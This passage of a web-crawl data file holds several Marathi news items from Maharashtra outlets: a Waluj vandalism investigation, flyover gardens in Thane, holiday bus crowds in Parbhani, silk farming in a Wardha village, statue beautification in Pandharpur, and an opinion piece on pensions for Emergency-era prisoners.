"2018-09-25T17:32:50Z", "digest": "sha1:RS7YDFK3EMZJYAKPRUE7DXVB2BONQRLQ", "length": 9718, "nlines": 169, "source_domain": "www.esakal.com", "title": "Maratha Kranti Morcha agitation reservation Waluj Damage Issue Crime Maratha Kranti Morcha : वाळूज येथील तोडफोडीशी मराठा आंदोलकांचा संबंध नाही | eSakal", "raw_content": "\nMaratha Kranti Morcha : वाळूज येथील तोडफोडीशी मराठा आंदोलकांचा संबंध नाही\nबुधवार, 15 ऑगस्ट 2018\nऔरंगाबाद - वाळूज औद्योगिक वसाहतीत नऊ ऑगस्टला झालेल्या तोडफोडीशी मराठा आंदोलकांचा संबंध नसल्याचे तपासातून समोर येत आहे, अशी माहिती पोलिस आयुक्त चिरंजीव प्रसाद यांनी दिली. 'मराठा समाजाचे आंदोलन सामाजिक होते. ते अशा हिंसक घटनेत सहभागी होतील, अशी शक्‍यता कमीच आहे. तोडफोडीचे कृत्य गुन्हेगारी स्वरूपाचे होते. त्याकडे याचदृष्टीने पोलिस बघत आहेत. सीसीटीव्ही फुटेज पाहून व सखोल तपास करूनच आरोपींना अटक केली जात आहे,'' असे ते म्हणाले. पोलिसांनी याप्रकरणी आतापर्यंत 53 जणांना अटक केली आहे.\nअनैतिक संबंधातून खून; दोघांना जन्मठेप\nनाशिक : अनैतिक संबंधावरून दम दिल्याच्या रागातून आरोपीने साथीदाराच्या मदतीने प्रेयसीचा पती दशरथ ठमके यांचा निर्घृणपणे खून केला. त्यानंतर पुरावा...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nऔषध व्यापार 'बंद' आंदोलनात साक्री तालुका केमिस्ट सहभागी\nनिजामपूर-जैताणे (धुळे) : साक्री तालुक्यातील निजामपूर, पिंपळनेर, दहीवेल, कासारे व म्हसदी येथे केमिस्ट असोसिएशनच्या तालुका पदाधिकाऱ्यांनी नुकत्याच औषध...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nधमकीचा निरोप खुनाचा वाटून धावाधाव\nसंगमेश्वर - खुनाचा गुन्हा दाखल असलेल्या एकाने भावाला तुझे दोन्ही पाय तोडून जंगलात टाकतो, अशी धमकी दिली. घाबरलेल्या त्याच्या पत्नीने आपल्या...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00448.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.esakal.com/mumbai/flyover-down-garden-40459", "date_download": "2018-09-25T17:31:51Z", "digest": "sha1:CHNUH464KZ62ONFPZACGSXGJSIJPOH56", "length": 13214, "nlines": 173, "source_domain": "www.esakal.com", "title": "Flyover down the garden ठाण्यात उड्डाणपुलाखाली उद्याने | eSakal", "raw_content": "\nसोमवार, 17 एप्रिल 2017\nठाणे - ठाण्यातील उड्डाणपुलांखाली मोकळ्या जागेत राजरोसपणे होणारे बेकायदा वाहन पार्किंग, अपप्रवृत्तीकडून होणारा गैरवापर टाळण्यासाठी ठाणे महापालिकेने पुढाकार घेतला आहे. या पुलाखालील मोकळ्या जागांवर उद्याने निर्माण केली जात असून, या जागा आता झाडा-फुलांनी बहरणार आहेत. सुशोभीकरणाचे हे काम पालिका एका बड्या जाहिरात एजन्सीतर्फे करत आहे, अशी माहिती पालिका प्रशासनाने दिली.\nठाणे - ठाण्यातील उड्डाणपुलांखाली मोकळ्या जागेत राजरोसपणे होणारे बेकायदा वाहन पार्किंग, अपप्रवृत्तीकडून होणारा गैरवापर टाळण्यासाठी ठाणे महापालिकेने पुढाकार घेतला आहे. या पुलाखालील मोकळ्या जागांवर उद्याने निर्माण केली जात असून, या जागा आता झाडा-फुलांनी बहरणार आहेत. सुशोभीकरणाचे हे काम पालिका एका बड्या जाहिरात एजन्सीतर्फे करत आहे, अशी माहिती पालिका प्रशासनाने दिली.\nशहरात नितीन-कॅडबरी उड्डाणपूल, गोल्डन डाईज नाका उड्डाणपूल, मानपाडा उड्डाणपूल, तीन हात नाका आदी ठिकाणी उड्डाणपुलाखाली भरपूर मोकळी जागा आहे. या जागेवर वाहन पार्किंग करून ठेकेदार वसुली करतात. काही ठिकाणी जुन्या वाहनांचा व्यवसाय करणाऱ्यांनी जागेचा वापर सुरू केला होता. अनेकांनी गॅरेजही थाटली होती. शिवाय, रात्रीच्या वेळेस काही अपप्रवृत्तीचा वावर उड्डाणपुलाखालील मोकळ्या जागांमध्ये होऊ लागल्याने परिसर बकाल बनले होते. मागील वर्षी तत्कालीन महापौरांनी महापालिका प्रशासनाकडे उड्डाणपुलाच्या या जागांवर उद्याने उभारण्याचे निर्देश दिले होते. त्यानुसार, आयुक्त संजीव जयस्वाल यांनी पुढाकार घेत मे. रौनक ॲडव्हर्टाइजमेंटच्या माध्यमातून अंदाजे १० हजार चौरस मीटर मोकळ्या जागांवर उद्यान उभारण्याचा निर्णय घेतला आहे. उद्यानात फुलझाडे व जॉगिंग ट्रॅकही उभारले जाणार असून काही दिवसांतच ही उद्याने नागरिकांसाठी खुली होतील, अशी माहिती पालिकेच्या उद्यान विभागाने दिली.\nमुंबईवर झालेल्या दहशतवादी हल्ल्यानंतर राज्य सरकारने उड्डाणपुलांखालील जागेचा गैरवापर होऊ नये, यासाठी त्या ठिकाणची सर्व बांधकामे, पार्किंगला हटवून उद्याने उभारावीत, असे आदेश दिले होते. मुंबईत याची अंमलबजावणी झाली असून, ठाण्यातही पालिकेने मनमोहक बगीचे फुलवण्याचा श्रीगणेशा केला आहे.\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nबऊर शिवारात आढळला बिबट्या\nहिंगोली : कळमनुरी तालुक्यातील बऊर शिवारामध्ये बिबट्याने एका बैलाचा फडशा पाडल्यानंतर वन विभागाने लावलेल्या कॅमेऱ्यात मंगळवारी (ता. २५ ) बिबट्याचे...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\n...तर युवक महोत्सव उधळून लावू\nऔरंगाबाद : कुलगुरूंच्या दालनात आंदोलन करणाऱ्या अभाविपच्या कार्यकर्त्यांवर कारवाई केली नाही, तर बुधवारपासून (ता. 26) सुरू होणारा केंद्रीय युवक महोत्सव...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00448.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Marathwada/bus-passenger-issue-in-parbhani/", "date_download": "2018-09-25T17:24:09Z", "digest": "sha1:3KK5SH7H7CM5GTDCJ3ZZKD2YNRZLFTQE", "length": 4955, "nlines": 35, "source_domain": "www.pudhari.news", "title": " सुट्यांमुळे बसस्थानकावर प्रवाशांची गर्दी | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Marathwada › सुट्यांमुळे बसस्थानकावर प्रवाशांची गर्दी\nसुट्यांमुळे बसस्थानकावर प्रवाशांची गर्दी\nशालेय विद्यार्थ्यांना उन्हाळयाच्या सुट्या लागल्या आहेत. यामुळे बाहेरगावी जाणार्‍या प्रवाशांची संख्याही बसस्थानकांवर वाढत असल्याने परभणी विभागाने जादा 18 बसेस वाढवल्या आहेत. तसेच शासकीय कर्मचार्‍यांनाही सलग सुटी मिळाल्याने प्रवाशांची गर्दी मोठ्या प्रमाणात वाढली आहे. त्यामुळे नेहमीपेक्षा जास्त प्रवाशी संख्या दिसत असल्याने वाढीव जादा बसेसही प्रवाशांची वाहतूक करण्यासाठी कमी पडत असल्याचे चित्र पाहावयास मिळत आहे.\nपरभणी बसस्थानकावर नेहमीच प्रवाशांची वर्दळ असते. येथे महाविद्यालये, जिल्हा स्तरावरील शासकीय कार्यालये, विविध शाळा असल्याने प्रवाशांची संख्या बसस्थानकावर नेहमीच जास्त असते. एप्रिल महिन्यात मात्र सकाळपासूनच प्रवाशांची जत्रा बसस्थानकावर भरत असल्याचे दिसतेे. त्यातच 28 एप्रिलपासून सलग चार दिवस शासकीय कार्यालयांना सुट्या आल्या आहेत. यात 28 एप्रिल रोजी चौथा शनिवार, 29 रोजी रविवार, 30 रोजी बुध्द पौर्णिमा, 1 मे रोजी महाराष्ट्र दिन अशा सुट्या सलग आल्या आहेत. ही बाब लक्षात घेत परभणी विभाग नियंत्रक जालिंदर सिरसाट यांनी विभागासाठी तब्बल 18 जादा बसेसची व्यवस्था केली आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00448.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Marathwada/reshim-farm-success-story-in-nagpur/", "date_download": "2018-09-25T16:52:52Z", "digest": "sha1:5HWH26RJ2IOCMPBWOFUEGDYTE7HQOJLG", "length": 7614, "nlines": 36, "source_domain": "www.pudhari.news", "title": " ‘रेशीम’ स्पर्शाने झाडगावात कोट्यवधींची उलाढाल | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Marathwada › ‘रेशीम’ स्पर्शाने झाडगावात कोट्यवधींची उलाढाल\n‘रेशीम’ स्पर्शाने झाडगावात कोट्यवधींची उलाढाल\nयंदा बोंडअळी व गारपिटीने झालेल्या नुकसानीमुळे शेतकर्‍यांच्या तोंडचा घास हिरावून घेतला. मात्र वर्धा जिल्ह्यातील झाडगावातील शेतकर्‍यांना या अस्मानी आणि सुलतानी संकटाचा फटका बसला नाही. या शेतकर्‍यांनीकेवळ कापसावर अवलंबून न राहता तुतीची लागवड करून रेशीम शेतीच्या जोरावर आर्थिक संपन्नता मिळवली आहे. यामुळे गावातील शेतकर्‍यांची उलाढाल 75 लक्ष ते 1 कोटी रुपये एवढी होत आहे.\nतुमच्याकडे शेतीमध्ये जलसिंचनाची व्यवस्था असेल आणि तुम्हाला 50 हजार रुपये महिना कमवायचा असेल तर रेशीम शेती हा अतिशय उत्तम पर्याय ठरू शकतो. हे झाडगावातील शेतकर्‍यांनी सिद्ध करून दाखविले आहे. तुतीची एकदा लागवड केली की 12 वर्षे मासिक उत्पन्न देणारे पीक म्हणून याकडे पाहिले जाते. जिल्ह्यातील झाडगावच्या 20 शेतकर्‍यांनी हा पर्याय निवडला आहे. झाडगाव आता रेशीम शेतीचे गाव म्हणून जिल्ह्यातच नव्हे तर इतरत्रही नावारूपासआले आहे. वर्धा शहरापासून 25 किलोमीटर अंतरावर असणारे हे रेशीम गाव, अशी ओळख निर्माण केलेले झाडगाव आहे. अडीच हजार लोकसंख्येचे हे गाव काही वर्षांपूर्वी इतर गावांसारखेच एक सर्वसाम ान्य गाव होते. येथील शेतकरीसुद्धा कापूस, सोयाबीन, तूर, हरभरा, हेच पारंपरिक पिके घेत होते. नैसर्गिक आपत्ती आली की शेतकरी अडचणीत सापडत असत.\nझाडगाव हे रेशीम शेतीच्या तलम स्पर्शाने अक्षरश: कात टाकत आहे. गावातीलच भोजराज भांगडे यांनी पहिल्यांदा 12 वर्षांपूर्वी 1 एकरमध्ये रेशीम शेतीचा प्रयोग केला. रेशीम कार्यालयातून त्यांनी याविषयी माहिती घेतली. सहा महिन्यातच त्यांना दरमहा उत्पन्नाचा कायमस्वरुपी स्त्रोत निर्माण झाला. त्यानंतर त्यांनी 1 करमध्ये उत्पादीत केलेले कोष त्यांनी कर्नाटक, आंध्रप्रदेशमध्ये जाऊन विकले. यातून त्यांना फायदा दिसू लागल्यावर त्यांनी हळुहळू लागवड क्षेत्र वाढवले.\nभांगडे यांनी आता साडेचार एकरमध्ये तुतीची लागवड केली आहे. सध्या ते साडेचार एकर शेतीतून 8 वेळा रेशीम कोष उत्पादन घेतात. त्यांना एकावेळी 500 अंडीपुंजपासून सरासरी 3.50 क्विंटल उत्पादन एक महिन्यात मिळत आहे. एक क्विंटलला साधारणपणे 50 हजार रुपये भाव मिळतो. म्हणजे एक महिन्यात त्यांना सुमारे 1 लाख 75 हजार रुपये उत्पन्न मिळते त्यातून ते वर्षाला 14 लाख रुपये कमवितात. त्यांच्यापासून प्रेरणा घेत यंदा बहुसंख्य शेतकर्‍यांनी रेशीम शेतीचा यशस्वी प्रयोग केला आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00448.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Solapur/pandharpur-shivaji-maharaj-statue-start-beautification/", "date_download": "2018-09-25T17:33:26Z", "digest": "sha1:BBOQ22N3ZXIKEVGZ6K7FMXP7KU2OB26J", "length": 6211, "nlines": 36, "source_domain": "www.pudhari.news", "title": " पंढरपूर येथील शिवाजी महाराज पुतळा सुशोभिकरणास प्रारंभ | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Solapur › पंढरपूर येथील शिवाजी महाराज पुतळा सुशोभिकरणास प्रारंभ\nपंढरपूर येथील शिवाजी महाराज पुतळा सुशोभिकरणास प्रारंभ\nशहरातील छत्रपती शिवाजी महाराज यांच्या पुतळ्याचे सुशोभिकरण करण्यात यावे. अशी मागणी नागरिकांतून होत होती. मात्र नगरपरिषदेकडून याकडे दुर्लक्ष केले जात होते. दै.‘पुढारी’ने याबाबत वृत्त प्रसिद्ध केल्याने अखेर नगरपालिकेने छत्रपतींच्या पुतळ्याचे सुशोभिकरणाचे काम हाती घेतले आहे.\nदक्षिण काशी म्हणून प्रसिध्द असलेल्या पंढरपूर शहरात दररोज हजारो भाविक दर्शनासाठी येतात. या चौकातूनच भाविक दर्शनाकरिता मंदिराकडे जातात. त्याचबरोबर शिवतीर्थ येथे अनेक राजकीय सभा, सांस्कृतिक कार्यक्रम आयोजित केले जातात. त्यामुळे शिवतीर्थ व शिवाजी चौकाची पंढरीच्या इतिहासात वेगळी ओळख आहे. परंतु येथे उभारण्यात आलेल्या छत्रपती शिवाजी महाराज यांच्या अश्‍वारूढ पुतळ्याच्या सुशोभिकरणाकडे नगरपालिकेकडून दुर्लक्ष करण्यात येत असल्याने शिवभक्‍तांकडून नाराजी व्यक्‍त केली जात आहे.\nछत्रपतींच्या पुतळ्याचे सुशोभिकरण करण्यात यावे अशी मागणी शिवभक्‍तांकडून अनेक वेळा करण्यात आली. मात्र नगरपालिकेने आश्‍वासन देण्याव्यतिरिक्‍त काही केले नाही. म्हणून नगरपालिकेचे नगरसेवक प्रशांत शिंदे यांनी सुशोभिकरणाचा मुद्दा सातत्याने नगरपालिका सभागृहात उपस्थित केला.\nत्याचबरोबर दै.‘पुढारी’ने छत्रपती शिवाजी महाराज यांच्या पुतळ्याच्या सुशोभिकरणाबाबत वृत्त प्रसिद्ध केल्याने या वृत्ताची दखल घेत अखेर नगरपालिकेने छत्रपतींच्या अश्‍वारुढ पुतळ्याचे शोभिकरणाच्या कामास दि. 6 मार्चपासून सुरुवात केली आहे.यात पाषाण दगडाचा बुरुज बांधणे, तोफा ठेवण्याची व्यवस्था करणे, रंगकाम, आकर्षक विद्युतरोषणाई करणे व सरकत्या जिण्याची शिडी उभारणे आदी कामे करण्यात येणार आहेत.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00448.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://divyamarathi.bhaskar.com/news/MAG-IFTM-prasann-joshi-article-in-rasik-on-freedom-fighter-and-emergency-5901874-NOR.html", "date_download": "2018-09-25T17:42:38Z", "digest": "sha1:TBJFJPP54HASBPLH2DBWOHLYEHSBZKRP", "length": 21643, "nlines": 153, "source_domain": "divyamarathi.bhaskar.com", "title": "prasann joshi article in Rasik on freedom fighter and emergency | आम्‍लाही स्‍वातंत्र्यवीर म्‍हणा...", "raw_content": "\nदिव्य मराठी विशेष मधुरिमा\nमधुरिमा रसिक जोक्स हेल्थ-लाइफस्टाइल\nइंदिरा गांधींनी आणीबाणी लागू केल्याच्या घटनेला उद्या २५ जून रोजी ४३ वर्षे पूर्ण होत आहेत. दुसऱ्या बाजूला सावरकर, त्यांचा\nइंदिरा गांधींनी आणीबाणी लागू केल्याच्या घटनेला उद्या २५ जून रोजी ४३ वर्षे पूर्ण होत आहेत. दुसऱ्या बाजूला सावरकर, त्यांचा संघर्ष, त्यांचे माफीनामे आणि या अनुषंगानं त्यांना मुळात ‘स्वातंत्र्यवीर’ म्हणायचं की नाही यावर खल सुरू आहे. याच धर्तीवर एका दोघांना नव्हे, तर आणीबाणीच्या काळात तुरूंगावास भोगलेल्या साऱ्यांनाच भाजप ‘स्वातंत्र्यवीर’ ठरवू पाहतंय. त्यांना पेन्शनही दिली जाणार आहे. वरवर पटण्याजोग्या वाटणाऱ्या या निर्णयामागे वस्तुत: आपल्या विचारसरणीला जनतेकडून अधिस्वीकृत करून घेण्याचं हे राजकारण आहे...\nआणीबाणीत सरकारविरोधी भूमिका घेतल्यानं ज्यांना तुरुंगवास भोगावा लागला अशांसाठी महाराष्ट्र शासनानं पेन्शन योजना जाहीर केल्यानं वादंग उठलाय. याचं कारण एक तर यानिमित्तानं भाजप सरकार आणीबाणीविरुद्धच्या लढ्याला स्वातंत्र्यलढ्याच्या पातळीला आणू पाहतंय आणि दुसरं म्हणजे, याद्वारे पुन्हा एकदा काँग्रेसविरोधाच्या वातावरणाला उत आणण्याचाही प्रयत्न होतोय.\nमुळात, आणीबाणीचा कालखंड हा संघ आणि भाजपला (तेव्हाचा जनसंघ) वेगळ्याच अर्थानं जिव्हाळ्याचा आहे. स्वातंत्र्य लढ्यात तुमचं योगदान काय या प्रश्नानं संघ आणि भाजपची नेहमीच अडचण केलीये. कधी कधी खाजगीत ही मंडळी, ‘अहो आमची तेव्हा ताकद ती केवढी होती या प्रश्नानं संघ आणि भाजपची नेहमीच अडचण केलीये. कधी कधी खाजगीत ही मंडळी, ‘अहो आमची तेव्हा ताकद ती केवढी होती...मग, सारखं सारखं काय विचारता, की संघानं काय केलं...मग, सारखं सारखं काय विचारता, की संघानं काय केलं संघानं काय केलं’ असं स्पष्टीकरणही देतात. नुसता सहभाग नसता, तरी त्याला निर्णय स्वातंत्र्याचं कारण देता आलं असतंही कदाचित मात्र, संघानं नुसता सहभागच घेतला, असं नसून काँग्रेसप्रणित स्वातंत्र्य चळवळीमध्ये विपरीत भूमिका घेतल्याचेही आरोप झालेत. यामुळेच की काय विचारांनी अगदी वेगळ्या ध्रुवावर असलेल्या वीर सावरकरांच्या स्वातंत्र्याच्या व्यक्तिगत प्रयत्न, हाल-अपेष्टांनाही आत्मसात करण्याचे संघ-भाजपचे प्रयत्न असतात. हा न्यूनगंडच कदाचित संघ-भाजपला कधी सरदार पटेल, कधी सुभाषबाबू, कधी आंबेडकर, कधी भगतसिंग अशा महानेत्यांना आपल्या पूजनीय व्यक्तिमत्त्वांत समावेश करायला लावत तर नसेल ना आणि यामुळेच कदाचित संघाला माजी राष्ट्रपती आणि काँग्रेसचे तत्कालीन ज्येष्ठतम नेते प्रणव मुखर्जी यांना आपल्या संघ शिक्षा शिबिराला बोलावावं लागत असेल की काय, अशी शंका येते.\nयाचाच दुसरा अर्थ असा की, देशाची काही एक मुख्य-गुप्त-अंतर्गत किंवा जाणीव-नेणीव पातळीची धारा-प्रवाह असलीच, तर तिची जातकुळी काँग्रेसी आहे. इथे काँग्रेस पक्ष अभिप्रेत नसून एक मध्यममार्गी, सामोपचारी, धर्मनिरपेक्ष राजकीय प्रवृत्ती अपेक्षित आहे. म्हणजेच, अशा विचार प्रवृत्ती-प्रकृतीच्या व्यक्तिमत्त्वांना आपलंसं करून, झालंच तर त्यांना आपलंच करून आणि तेही नाही जमलं तर किमान त्यांचा ‘सत्संग’ (मुखर्जींसारखा) मिळवावा, असा हा प्रयत्न असतो. यातून लेजिटमसीची गरज पूर्ण होते. याचाच व्यापक आविष्कार म्हणजे आणीबाणीला ‘दुसऱ्या स्वातंत्र्य युद्धा’चं परिमाण द्यायचं. कारण, आणीबाणी म्हणजे पारतंत्र्य ठरवलं, तर त्याला विरोध करणारे घटक वर उल्लेखलेल्या दृष्टिकोनातून ‘काँग्रेसी’ ठरतात. इथं एक आठवलं की, २०१४च्या लोकसभा निवडणुकांच्या सुमारास अडवाणी म्हणाले होते की, भाजप हा स्वातंत्र्यपूर्व काळातील काँग्रेससारखा आहे. आजही भाजपची धार्मिक धोरणं वगळता त्यांना काँग्रेसी मार्गावरूनच जावं लागतंय. (यातून अगदी पीडीपीसोबत युती जी आता तुटली). आणीबाणीत सहभाग घेतलेल्या समाजवादी, साम्यवादी आणि अगदी संघ-जनसंघाच्या तत्कालीन कार्यकर्त्यांनाही वाटणार नाही इतकी निकड संघ-भाजपला आज आणीबाणीविरोधी उद्रेकाला स्वातंत्र्यसंग्राम ठरवण्याची आहे, त्याच्यामागं ही कारणं आहेत, असं वाटतं.\nमात्र, आणीबाणीविरोधी संघर्षाला स्वातंत्र्यलढा म्हणणं हेच मुळी संघ-भाजपच्या उद्दिष्टांना पराभूत करणारं आहे. कारण, जगातली कुठली जनता ज्यांच्याकडून स्वातंत्र्य मिळवलं त्यांना पुन्हा सत्ता सोपवेल म्हणजेच, जर आणीबाणीनंतर आलेल्या जनता सरकारनंतर इंदिरा गांधींना बहुमतासह पुन्हा सत्ता मिळत असेल, तर संघ-भाजपच्या व्याख्येनुसार भारत पुन्हा एकदा पारतंत्र्यात गेला होता का म्हणजेच, जर आणीबाणीनंतर आलेल्या जनता सरकारनंतर इंदिरा गांधींना बहुमतासह पुन्हा सत्ता मिळत असेल, तर संघ-भाजपच्या व्याख्येनुसार भारत पुन्हा एकदा पारतंत्र्यात गेला होता का याचं उत्तर द्यावं लागेल.\nदुसरीकडे, किमान एका मुद्द्यावर डावे-उजवे अशा सगळ्यांचंच एकमत आहे की आणीबाणी हे आक्रित होतं आणि ते घालवण्यासाठी आम्ही लढलो. मात्र, काँग्रेसचे खासदार आणि ज्येष्ठ संपादक कुमार केतकर यांची मांडणी आहे की, हा दुटप्पीपणा आहे. मुळात तुम्ही रेल्वे बंद पाडण्याचे प्रयत्न करणार, लष्कराला-पोलिसांना आदेश न पाळण्याचं आवाहन करणार, पंतप्रधानांच्या निवासस्थानावर लाखोंचे मोर्चे नेण्याचा प्रयत्न करणार, अशा अस्थिर परिस्थितीत पाकिस्तानसारख्या कुरापतखोर राष्ट्राला आणि अमेरिकेसारख्या नाकखुपशा देशाला भारतात अनागोंदी माजवण्यासाठी अप्रत्यक्ष साहाय्य करणार. मग अशी परिस्थिती आटोक्यात आणण्यासाठी इंदिरा गांधींकडे आणीबाणी लागू करण्याशिवाय पर्यायच काय होता म्हणजेच, आणीबाणी तुमच्यामुळे येणार, तुम्हीच तिला विरोध करणार आणि आता ‘स्वातंत्र्यवीर’ म्हणून तुम्हीच स्वत:ची पाठ थोपटून घेणार म्हणजेच, आणीबाणी तुमच्यामुळे येणार, तुम्हीच तिला विरोध करणार आणि आता ‘स्वातंत्र्यवीर’ म्हणून तुम्हीच स्वत:ची पाठ थोपटून घेणार त्यामुळेच काँग्रेसचे अन्य नेते तर तत्कालीन सरसंघचालक बाळासाहेब देवरस यांच्या कथित माफीनाम्याची आणि आणीबाणीला दिलेल्या पाठिंब्याची आठवण भाजपला करून देताहेत.\nया निर्णयाचे लाभार्थीही एकमुखानं सरकारच्या धोरणाचं स्वागत करताहेत,असंही दिसत नाहीये. समाजवादी नेते कुमार सप्तर्षी किंवा संघाशी जवळीक राहिलेले विनय हर्डीकर अशा आणीबाणी बंदी भोगलेल्यांनी पेन्शन न स्वीकारण्याचा निर्णय जाहीर केलाय. या दोघांच्या म्हणण्यातला समान धागा म्हणजे, आणीबाणीची तुलना स्वातंत्र्य लढ्याशी होऊ शकत नाही. हर्डीकरांनी तर त्यांच्या ‘जनांचा प्रवाहो चालला’ या पुस्तकात आणीबाणी, त्यातला तुरुंगवास याचं प्रमाणाबाहेर रोमँटिसायझेशन झाल्याचा सूर लावलाय. आणीबाणीत सामान्य जनता वैशाख वणवा भोगत नव्हती. सणवार सुरूच होते, काही एका वर्गात, तर प्रशासनाला लागलेल्या शिस्तीचं कौतुकच होतं. जेलमध्ये गेलेल्या राजकीय कैद्यांना सामान्य कैद्यांपेक्षा वेगळी वागणूक मिळत होती.\nमात्र, भाजपचे दिवंगत नेते प्रमोद महाजन यांचे ज्येष्ठ बंधू प्रकाश महाजन यांनी सदर लेखकाशी बोलताना आणीबाणीच्या पर्वाचं इतकं साधारणीकरण करणं चुकीचं असल्याचं म्हटलं. “आणीबाणीत अनेकांचे संसार उद्ध्वस्त झाले. आणीबाणीविरोधी म्हणजे काँग्रेसविरोधी ठरल्यानं सरकारी नोकऱ्या, बँकांची कर्जं मिळण्यात अडचणी येऊ लागल्या, ज्यांच्या नोकऱ्या गेल्या त्यांचं करिअर संपलं, डावे असो की उजवे अमुक एका संघटनेशी संबंधित असल्यावरून किंवा तशा 